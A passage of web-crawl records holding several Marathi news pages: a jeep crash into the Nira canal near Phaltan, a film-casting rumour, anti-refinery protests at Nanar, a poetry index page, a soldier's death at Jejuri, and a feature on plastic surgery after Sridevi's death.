"nlines": 51, "source_domain": "www.pudhari.news", "title": " कालव्यात जीप कोसळली; एक बेपत्ता | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Satara › कालव्यात जीप कोसळली; एक बेपत्ता\nकालव्यात जीप कोसळली; एक बेपत्ता\nमहाड-पंढरपूर मार्गावर कोळकी, ता. फलटणच्या हद्दीत बुधवारी रात्री महाबळेश्‍वरहून नांदेडकडे निघालेली जीप चालकाचा ताबा सुटल्याने नीरा उजवा कालव्यात पडून बुडाली. गाडीतील 6 जण पोहून बाहेर आल्यामुळे बचावले, तर एक जण बेपत्ता झाला आहे. त्याचा रात्री उशिरापर्यंत शोध लागला नव्हता. हे सर्व युवक पुणे येथे भरतीसाठी आले होते. ते काही कामानिमित्त महाबळेश्‍वरला गेले होते.\nयाबाबत माहिती अशी, चालक बालाजी अनिल राठोड (वय 23, रा. दत्तमांजरी, ता. माहुर, जि. नांदेड) हे दि. 13 रोजी आपली जीप (एमएच 26 एएफ 2852) घेऊन महाबळेश्‍वरहून नांदेडला निघाले होते. यावेळी सहा युवकांनी त्यांना नांदेडपर्यंत घेऊन जाण्याची विनंती केली. हे युवक सैन्य भरतीसाठी पुण्याला आले होते व काही कामानिमित्त महाबळेश्‍वरला गेले होते. राठोड या जीपचालकाने सिद्धार्थ देवराव आरके (वय 22, रा. दत्तमांजरी), प्रफुल्ल दारासिंग राठोड (वय 23, रा. वझरा, ता. माहुर), शत्रुघ्न रामाराव चांदेकर (वय 22, रा. वझरा), मारुती संभाजी शेंबटेवाड (वय 25, रा. खराटवाडी, ता. हदगाव), कचरू दत्ता गिरेवाड (वय 24, रा. चितगिरी, ता. भोकर) यांना गाडीत घेतले व महाबळेश्‍वरमधून रात्री 10 वाजता माहुर (नांदेड)कडे जाण्यासाठी ते निघाले. रात्री 1 वाजण्याच्या सुमारास फलटण शहरातून नातेपुतेकडे जाणार्‍या मार्गावरील नीरा उजवा कालव्यावरील राऊ रामोशी पुलावर चालक बालाजी राठोड यांचा गाडीवरील ताबा सुटला. पुलाला कठडा नसल्याने जीप रस्ता सोडून कालव्याच्या भरावावरुन वाहत्या पाण्यात बुडाली.\nगाडी पाण्यात कोसळताच चालक व सिद्धार्थ आरके, रामेश्‍वर पवार, प्रफुल्ल राठोड, शत्रुघ्न चांदेकर, मारुती शेंबटेवाड असे 6 जण पोहून कालव्याच्या काठावर पोहोचले. मात्र, कचरु दत्ता गिरेवाड हा कोठेच दिसला नाही. त्याचा शोध घेण्याचा प्रयत्न केला, मात्र तो आढळून आला नाही. तो पाण्यातून बाहेर येवून निघून गेला की पाण्याबरोबर वाहून गेला, याबाबत निश्‍चित सांगता येत नसल्याचे बालाजी राठोड याने पोलिसांना सांगितले.\nदरम्यान, पोलीस आणि स्थानिक नागरिकांनी कालव्याच्या पाण्यात उड्या मारुन वाहून गेलेल्या गिरेवाड यांचा शोध घेण्याचा प्रयत्न सुरू केला. त्यानंतर क्रेनच्या सहाय्याने पाण्यातील जीप बाहेर काढण्यात आली. या जीपमध्येही कचरु गिरेवाड आढळून आले नाहीत.\nकालव्यात जीप कोसळली; एक बेपत्ता\nधरण पुर्णत्वाकडे; मात्र व्यथा कायम (व्हिडिओ)\nवेळे येथे अपघातात २ लहान मुलांसह दाम्‍पत्‍य जखमी\nभरतीला गेलेल्या तरुणांची गाडी कालव्यात बुडाली; एक बेपत्त्ता (Video)\nप्रीतिसंगमावरून : पुन्हा एकदा आम्ही तिघेच \nसातारा : ‘कॉल बॉय’साठी कॉलेज युवकांना टार्गेट\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00187.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/534397", "date_download": "2018-09-25T17:16:24Z", "digest": "sha1:RPP7OWHEDF5LRG543EXQRNWFJKJ3YQFW", "length": 5104, "nlines": 41, "source_domain": "www.tarunbharat.com", "title": "सैराटच्या हिंदी रिमेकमध्ये जान्हवीसोबात श्रीदेवी झळकणार? - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » मनोरंजन » सैराटच्या हिंदी रिमेकमध्ये जान्हवीसोबात श्रीदेवी झळकणार\nसैराटच्या हिंदी रिमेकमध्ये जान्हवीसोबात श्रीदेवी झळकणार\nऑनलाईन टीम / मुंबई :\n‘सैराट’ चित्रपटाचा हिंदी रिमेक असलेल्या ‘धडक’मध्ये जान्हवी कपूर आर्चीच्या भूमिकेत दिसणार आहे. तर आर्चीच्या आईची व्यक्तिरेखा जान्हवीची रिअल लाईफ आई म्हणजेच श्रीदेवी साकारण्याची शक्मयता वर्तवण्यात येत आहे.\n‘आर्चीच्या आईची व्यक्तिरेखा लहानशी असली, तरी महत्त्वपूर्ण आहे. ती ग्रेसफुल दिसायला हवी. तिने स्वतःचा आब राखायला हवा. आईचे बंडखोर लेकीवर जीवापाड प्रेम आहे. सामाजिक आणि आर्थिकदृष्टय़ा मागास समाजातील तरुणावर मुलीचे प्रेम असल्यामुळे वडिलांचा तिला प्रचंड विरोध आहे. मात्र अशा परिस्थितीतही आईने तिची बाजू उचलून धरली आहे.’ असे सिनेमाशी संबंधित सूत्रांनी सांगितलं आहे.\nश्रीदेवी यांना सिनेमाची ऑफर देण्यात आली असून त्यांनी अद्याप आपलं उत्तर दिलेलं नाही. मात्र मुलीचं पदार्पण असल्यामुळे त्या ही ऑफर नाकारण्याची शक्मयता कमी आहे. सैराट चित्रपटाची कथा महाराष्ट्रात घडली होती, मात्र ‘धडक’ची कहाणी राजस्थानात घडताना दिसणार आहे.\n‘सरकार 3’चा फर्स्ट पोस्टर रिलीज\nअग्निशमन दलावरचा पहिला चित्रपट अग्निपंख\nसस्पेन्स, थ्रिलरचा खेळ मस्का\n“झिंग प्रेमाची” २९ जूनला संपूर्ण महाराष्ट्रात प्रदर्शित\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00187.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/535909", "date_download": "2018-09-25T17:16:55Z", "digest": "sha1:OGWQVLPAFG3BOFTDGV3FD4DJHMGW4OZZ", "length": 9119, "nlines": 48, "source_domain": "www.tarunbharat.com", "title": "चौथ्या दिवशीही मोजणी बंद - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » आवृत्ती » रत्नागिरी » चौथ्या दिवशीही मोजणी बंद\nचौथ्या दिवशीही मोजणी बंद\nरिफायनरी विरोधी शेतकरी व मच्छीमार संघटनेच्या पदाधिकाऱयांशी चर्चा करताना रामेश्वर न्यायहक्क संरक्षण संघटनेचे पदाधिकारी.\nगांधीगिरी आंदोलनापुढे प्रशासन हतबल\nतालुक्यातील नाणार परिसरात प्रस्तावित रिफायनरी प्रकल्पासाठीच्या जमीन मोजणीच्या ठिकाणी गुरूवारी चौथ्या दिवशीही प्रकल्प विरोधकांनी ठाण मांडल्याने मोजणीचे काम बंदच राहीले. दरम्यान प्रकल्प विरोधकांच्या गांधीगिरामुळे मोजणीसाठी दाखल झालेले अधिकारी पुरते हतबल झाले आहेत.\nनाणार व परिसरातील 14 गावामध्ये होऊ घातलेल्या रिफायनरीसाठी सोमवारपासून मोठया पोलीस बंदोबस्तात सोमवारपासून जमीन मोजणी प्रक्रिया सुरू झाली आहे. मात्र पहिल्या दिवसापासूनच प्रकल्प विरोधकांनी मोजणीला तीव्र विरोध दर्शवला आहे. प्रखर विरोध झाल्याने दुसऱया दिवशी पोलिसांनी प्रकल्प विरोधकांची धरपकड सुरू केली. मात्र जराही न डगमगता विरोधकांनी आपले गांधीगिरी मार्गाने पुकारलेले आंदोलन सुरूच ठेवले आहे.\nजोपर्यंत जमीन मोजणीचे काम रद्द झाल्याबाबत फतवा येत नाही तोपर्यंत हा लढा सुरूच राहणार असल्याचे विरोधकांनी स्पष्ट केले आहे. गुरूवारी चौथ्या दिवशी नाणार वगळता अन्य ठिकाणी मोजणीचे काम ठप्प होते. अधिकारी, कर्मचारी मोजणीच्या ठिकाणी सकाळ पासून हजर झाले होते. मात्र प्रकल्प विरोधकडी मोक्याच्या ठिकाणी उपस्थित झाल्याने प्रत्यक्ष मोजणी करता आली नाही. विरोधकांच्या गांधीगिरीमुळे प्रशासन पुरते हतबल झाले आहे.\nरामेश्वर न्यायहक्क संरक्षण संघटनेचा पाठींबा\nदरम्यान रिफायनरी विरोधातील आंदोलन दिवसेंदिवस तापत चाललेले असताना गुरूवारी सिंधुदुर्ग जिल्हय़ातील रामेश्वर न्यायहक्क संरक्षण संघटनेच्या एका कमिटीने येथील प्रकल्प विरोधी संघर्ष संघटनेच्या पदाधिकाऱयांची भेट घेत या आंदोलनाला आपला पाठींबा दर्शवला आहे. या संघटनेमध्ये सिंधुदुर्ग जिल्हय़ातील प्रकल्प बाधित गावासह परिसरातील गावांमधील ग्रामस्थांचा समावेश आहे.\nराजकीय व्यक्तींचे नेतृत्व नको, सहकार्याबद्दल धन्यवाद\nरिफायनरी विरोधात जेव्हा प्रकल्प विरोधी संघटना स्थापन झाली तेव्हाच कोणत्याही राजकीय पक्षाला वा नेत्याला या लढय़ात सामावून न घेण्याचे ठरले होते. या पार्श्वभूमीर दोन दिवसापूर्वी नाणारमध्ये माजी खासदार निलेश राणे यांनी या मोजणीला न्यायालयाची स्थगिती आणण्याचे जाहीर केले होते. त्यानुसार त्यांनी कार्यवाहीही सुरू केली होती. मात्र गुरूवारी कोकण रिफायनरी विरोधी संघर्ष संघटनेच्या तातडीच्या बैठकीत राणेंसह अन्य कोणत्याही राजकीय नेत्याचे कोणतेही नेतृत्व स्विकारायचे नाही असा निर्णय घेण्यात आला. सध्या चालू असलेल्या मोजणीच्या प्रक्रियेला गाव व मुंबईतील संघटना यांनी संयुक्तरित्या स्वबळावर या मोजणीकामी स्थगिती आणण्याचे ठरवले आहे. मात्र या लढय़ाला ज्यांनी सहकार्य केले त्या सर्वांना यावेळी धन्यवाद देण्यात आले.\n10 व्यक्ती-संस्थांना यंदाचा ‘तरुण भारत सन्मान’\nगुंगीचे औषध पाजून महिलेस साडेचार लाखास गंडा\nबोरजनजीक अपघातात तिघे ठार\nसंगणक अर्हतेविना प्राथमिक शिक्षक ‘हँग’\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00187.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.transliteral.org/keywords/g.h.patil/word", "date_download": "2018-09-25T17:23:31Z", "digest": "sha1:GXQUFRXMN6E47VVS3WBKLCYVFJU4SJZP", "length": 10182, "nlines": 112, "source_domain": "www.transliteral.org", "title": "Keyword - g h patil", "raw_content": "\nमंदिराला कळस बांधतात, पण घरातील देव्हार्‍याला कळस का नसतो\n’ लिंबोळ्या ’ या संग्रहातील कविता लिंबोळ्यांप्रमाणेच कडवट गोड आहेत. या कविता म्हणजे कवीच्या उच्च काव्यप्रतिभा आहे.\n’ लिंबोळ्या ’ या संग्रहातील कविता लिंबोळ्यांप्रमाणेच कडवट गोड आहेत. या कविता म्हणजे कवीच्या उच्च काव्यप्रतिभा आहे.\n’ लिंबोळ्या ’ या संग्रहातील कविता लिंबोळ्यांप्रमाणेच कडवट गोड आहेत. या कविता म्हणजे कवीच्या उच्च काव्यप्रतिभा आहेत.\n’ लिंबोळ्या ’ या संग्रहातील कविता लिंबोळ्यांप्रमाणेच कडवट गोड आहेत. या कविता म्हणजे कवीच्या उच्च काव्यप्रतिभा आहेत.\n’ लिंबोळ्या ’ या संग्रहातील कविता लिंबोळ्यांप्रमाणेच कडवट गोड आहेत. या कविता म्हणजे कवीच्या उच्च काव्यप्रतिभा आहेत.\n’ लिंबोळ्या ’ या संग्रहातील कविता लिंबोळ्यांप्रमाणेच कडवट गोड आहेत. या कविता म्हणजे कवीच्या उच्च काव्यप्रतिभा आहेत.\nलिंबोळ्या - उशीर उशीर \n’ लिंबोळ्या ’ या संग्रहातील कविता लिंबोळ्यांप्रमाणेच कडवट गोड आहेत. या कविता म्हणजे कवीच्या उच्च काव्यप्रतिभा आहेत.\n’ लिंबोळ्या ’ या संग्रहातील कविता लिंबोळ्यांप्रमाणेच कडवट गोड आहेत. या कविता म्हणजे कवीच्या उच्च काव्यप्रतिभा आहेत.\nलिंबोळ्या - पुष्पांचा गजरा\n’ लिंबोळ्या ’ या संग्रहातील कविता लिंबोळ्यांप्रमाणेच कडवट गोड आहेत. या कविता म्हणजे कवीच्या उच्च काव्यप्रतिभा आहेत.\nलिंबोळ्या - जकातीच्या नाक्याचे रहस्य \n’ लिंबोळ्या ’ या संग्रहातील कविता लिंबोळ्यांप्रमाणेच कडवट गोड आहेत. या कविता म्हणजे कवीच्या उच्च काव्यप्रतिभा आहेत.\nलिंबोळ्या - वेळ नदीच्या पुलावर\n’ लिंबोळ्या ’ या संग्रहातील कविता लिंबोळ्यांप्रमाणेच कडवट गोड आहेत. या कविता म्हणजे कवीच्या उच्च काव्यप्रतिभा आहेत.\n’ लिंबोळ्या ’ या संग्रहातील कविता लिंबोळ्यांप्रमाणेच कडवट गोड आहेत. या कविता म्हणजे कवीच्या उच्च काव्यप्रतिभा आहेत.\n’ लिंबोळ्या ’ या संग्रहातील कविता लिंबोळ्यांप्रमाणेच कडवट गोड आहेत. या कविता म्हणजे कवीच्या उच्च काव्यप्रतिभा आहेत.\n’ लिंबोळ्या ’ या संग्रहातील कविता लिंबोळ्यांप्रमाणेच कडवट गोड आहेत. या कविता म्हणजे कवीच्या उच्च काव्यप्रतिभा आहेत.\nलिंबोळ्या - डराव डराव \n’ लिंबोळ्या ’ या संग्रहातील कविता लिंबोळ्यांप्रमाणेच कडवट गोड आहेत. या कविता म्हणजे कवीच्या उच्च काव्यप्रतिभा आहेत.\n’ लिंबोळ्या ’ या संग्रहातील कविता लिंबोळ्यांप्रमाणेच कडवट गोड आहेत. या कविता म्हणजे कवीच्या उच्च काव्यप्रतिभा आहेत.\n’ लिंबोळ्या ’ या संग्रहातील कविता लिंबोळ्यांप्रमाणेच कडवट गोड आहेत. या कविता म्हणजे कवीच्या उच्च काव्यप्रतिभा आहेत.\nलिंबोळ्या - माझी बहीण\n’ लिंबोळ्या ’ या संग्रहातील कविता लिंबोळ्यांप्रमाणेच कडवट गोड आहेत. या कविता म्हणजे कवीच्या उच्च काव्यप्रतिभा आहेत.\n’ लिंबोळ्या ’ या संग्रहातील कविता लिंबोळ्यांप्रमाणेच कडवट गोड आहेत. या कविता म्हणजे कवीच्या उच्च काव्यप्रतिभा आहेत.\nलिंबोळ्या - मेघांनी वेढलेला सायंतारा\n’ लिंबोळ्या ’ या संग्रहातील कविता लिंबोळ्यांप्रमाणेच कडवट गोड आहेत. या कविता म्हणजे कवीच्या उच्च काव्यप्रतिभा आहेत.\nसोळा वर्षाखालील मुलांना शनिची साडेसाती कां त्रस्त करत नाही\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00187.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "https://lokmat.news18.com/maharastra/army-personnel-commits-suicide-in-kadepathar-jejuri-pune-299045.html", "date_download": "2018-09-25T17:02:57Z", "digest": "sha1:SJKW5WJA5WXUEKM5KLS7QMT3QVRCLVJ3", "length": 14728, "nlines": 128, "source_domain": "lokmat.news18.com", "title": "देशाचा रक्षक आयुष्याला कंटाळला, जेजूरीच्या कडेपठारावर केली आत्महत्या", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nदेशाचा रक्षक आयुष्याला कंटाळला, जेजूरीच्या कडेपठारावर केली आत्महत्या\nसगळ्यांचं श्रद्धास्थान असलेल्या श्री क्षेत्र जेजुरी गडावर एका युवकाने आत्महत्या केली आहे.\nपुरंदर, 06 ऑगस्ट : सगळ्यांचं श्रद्धास्थान असलेल्या श्री क्षेत्र जेजुरी गडावर एका युवकाने आत्महत्या केली आहे. नुवान विषारी औषध पिऊन या युवकाने कडेपठारावरून उडी टाकली आणि आत्महत्या केली आहे. जेजुरी कडेपठार मंदिर डोंगराच्या पायथ्याला झाडीत या युवकाचा मृतदेह आढळला आहे. त्यामुळे संपूर्ण जेजूरीत खळबळ उडाली आहे. युवकाचं वय अंदाजे 23 वर्ष असल्याचं सांगण्यात येत आहे.\nचेतन महेश रणदिवे असं या आत्महत्या करणाऱ्या युवकाचं नाव आहे. तो पुरंदर येथील रहिवाशी आहे. चेतन हा 2015 पासून भारतीय सैन्यात असून तो श्रीनगर येथे सद्या कार्यरत होता. तो सुट्टीवर धालेवाडी येथे आला होता. सुट्टी संपल्याने तो श्रीनगरला कालच जाणार होता. जाण्यासाठी विमानाचे तिकीट काढले होते. बरोबर लागणारे सामानसुमान बांधून ठेवले होते.\nमात्र काल तो मित्राकडे जातो असे सांगून घरातून बाहेर पडला होता. आवराआवरी करून ही तो रात्री उशीरा घरी आला नसल्याने घरचे सर्वजण चिंतेत होते. जेजुरी पोलीस ठाण्यात ही तशी तक्रार देण्यात आली होती. आज मात्र सकाळीच कडेपठार डोंगरात त्याचा मृतदेह आढळून आला.\nखंडेरायाचं दर्शन घेण्यासाठी आलेल्या भाविकांना कडेपठार चढत्यावेळी झाडात एक मृतदेह आढळून आला. त्यांनी लगेचच याची खबर पोलिसांनी दिली. पोलीस घटनास्थळी दाखल झाले असून चेतन मृतदेह झाडीतून बाहेर काढण्यात आला. त्याची तपासणी करता त्याची ओळख पोलिसांना पटली. त्यानंतर चेतनचा मृतदेह पोस्टमार्टमसाठी पाठवण्यात आला आहे.\nपोलिसांनी घटनास्थळी असलेल्या प्रत्यक्षदर्शींची जवाब नोंदवून घेतला आहे. चेतन हा सैन्यात होता त्यामुळे नक्की त्याने आत्महत्या का केली याचा पोलीस आता वेगळ्या बाजूने तपास करत आहेत. पण अद्याप चेतनच्या आत्महत्येचं कारण अस्पष्ट आहे. पण चेतनच्या अशा जाण्याने त्याच्या कुटुंबियांवर दुखाचा डोंगर कोसळला आहे.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nपुजेच्या चिठ्ठीत सहा जणांची नावं, रक्ताचे थेंब आणि काळ्या बाहुल्या\nPHOTOS: पुण्यात 'आवाज वाढीव DJ तुला आईची शपथ हाय'\nतीन राज्य, दोन महिने, अखेर पोलिसांनी शोधले 101 मोबाईल्स\n पुण्यात समोस्याच्या गोड चटणीत आढळला मेलेला उंदीर\nडोळ्याचं पारणं फेडणारा दगडूशेठ गणपतीचा अथर्वशीर्ष सोहळा पाहा ड्रोनमधून\nVIDEO: श्रीमती काशीबाई नवले 'मेडिकल' कॉलेजच व्हेंटिलेटरवर\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00187.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://amp.esakal.com/saptarang/saptarang-marathi-features-shridevi-plastic-surgery-101005", "date_download": "2018-09-25T17:31:31Z", "digest": "sha1:F6BAYLEOO4PAFVI3XN7MDLDTRD5P2PDV", "length": 14435, "nlines": 52, "source_domain": "amp.esakal.com", "title": "Saptarang Marathi features Shridevi Plastic Surgery प्लॅस्टिक सर्जरीमुळं परिणाम नाही | eSakal", "raw_content": "\nप्लॅस्टिक सर्जरीमुळं परिणाम नाही\nचिन्मयी खरे | रविवार, 4 मार्च 2018\nशरीर आणि चेहरा हीच ओळख असणाऱ्या ती ओळख कायम ठेवण्यासाठी प्लॅस्टिक सर्जरीचा, डाएटचा, स्टेरॉइड्‌स वगैरेंचा उपयोग करावा लागतो. त्यांचा नक्की काय परिणाम होतो, सेलिब्रिटींच्या जीवनचक्रावर त्याचा काही परिणाम होतो का आदीबाबत तज्ज्ञांशी केलेली चर्चा.\nशरीर आणि चेहरा हीच ओळख असणाऱ्या ती ओळख कायम ठेवण्यासाठी प्लॅस्टिक सर्जरीचा, डाएटचा, स्टेरॉइड्‌स वगैरेंचा उपयोग करावा लागतो. त्यांचा नक्की काय परिणाम होतो, सेलिब्रिटींच्या जीवनचक्रावर त्याचा काही परिणाम होतो का आदीबाबत तज्ज्ञांशी केलेली चर्चा.\nश्रीदेवी यांच्या आकस्मिक निधनामुळं कलाकारांचं डाएट आणि त्यांचा फिटनेस यांमुळं होणाऱ्या दुष्परिणामांबाबत उलटसुलट चर्चा सुरू झाल्या. श्रीदेवी यांनी 1997 मध्ये 'जुदाई' या चित्रपटानंतर बॉलिवूडमधून काही काळासाठी विश्रांती घेतली आणि 2012 मध्ये 'इंग्लिश विंग्लिश' या चित्रपटातून पुनरागमन केलं. एवढ्या वर्षांच्या काळानंतर श्रीदेवी यांना चित्रपटात पाहिलं, तेव्हा त्यांच्या चेहऱ्यात खूप बदल झाला होता. त्या खूप बारीकही दिसत होत्या. या मध्यंतरीच्या काळात त्यांनी स्वतःवर खूप काम केलं होतं. त्यांच्या नाक, ओठ अशा अनेक सर्जरी झाल्या होत्या. त्यांच्या निधनाची बातमी आल्यानंतर त्यांच्या निधनाचं कारण त्यांनी केलेल्या या सर्जरी असू शकतात, अशी एक चर्चा सुरू होती.\nब्रीच कॅंडी आणि हिंदुजा हॉस्पिटलचे कन्सल्टंट प्लॅस्टिक सर्जन डॉ. अनिल टिब्रेवाला यांनी सगळ्या शंकांचं निरसन केलं. डॉ. अनिल म्हणाले ः ''कोणत्याही प्लॅस्टिक सर्जरीमुळं कोणाचाही मृत्यू होण्याची एक टक्काही शंका नाही. आम्ही एखाद्या माणसाची सर्जरी करतो, त्याआधी आम्ही त्यांच्या संपूर्ण शरीराचं चेकअप करतो. त्यांचा ईसीजी, ब्लड टेस्ट, स्कॅनिंग, एक्‍स-रे, ब्लडप्रेशर अशा सगळ्या प्रकारच्या तपासण्या आम्ही करतो. आम्हाला जरा जरी शंका आली, तर आम्ही त्यांच्या पुढच्या तपासण्या करतो. ती व्यक्ती सुदृढ असेल, तरच आम्ही पुढं जातो. नाही तर जात नाही. श्रीदेवी यांनी सर्जरी करून घेतल्या असतील, तरी त्या काही दहा दिवसांपूर्वी केलेल्या नाहीत. त्यांनी खूप पूर्वी सर्जरी केल्या होत्या. कोणत्याही सर्जरीचे परिणाम एवढ्या उशीरा होत नाहीत. काही व्हायचं असेलच, तर ते सर्जरीनंतर पाच-सहा दिवसांतच समजतं; पण त्यामुळं मृत्यू होत नाही. सर्जरीनंतर जी काही औषधं खावी लागतात, त्यांमध्ये पेनकिलर आणि तुरळक औषधं असतात. तशा प्रकारची औषधं आपण सर्वसामान्य माणसंही वर्षातून एखाद-दोन वेळा खातच असतो. मी स्वतः माझं डोकं दुखत असेल किंवा ताप आल्यासारखं वाटत असेल, तर कॉम्बिफ्लॅम घेतो. कारण ती गोळी मला चालते; पण एखाद्याला कॉम्बिफ्लॅमची ऍलर्जी असेल, तर त्याचा विपरीत परिणाम होऊ शकतो. त्यामुळं डॉक्‍टर कोणतंही औषध देताना पेशंटला कोणत्या गोष्टीची ऍलर्जी नाही ना, हे तपासूनच गोळ्या देत असतात.\n''श्रीदेवी आरोग्याबाबत खूप जागरूक होत्या, ही गोष्ट सगळ्यांनाच माहीत आहे. 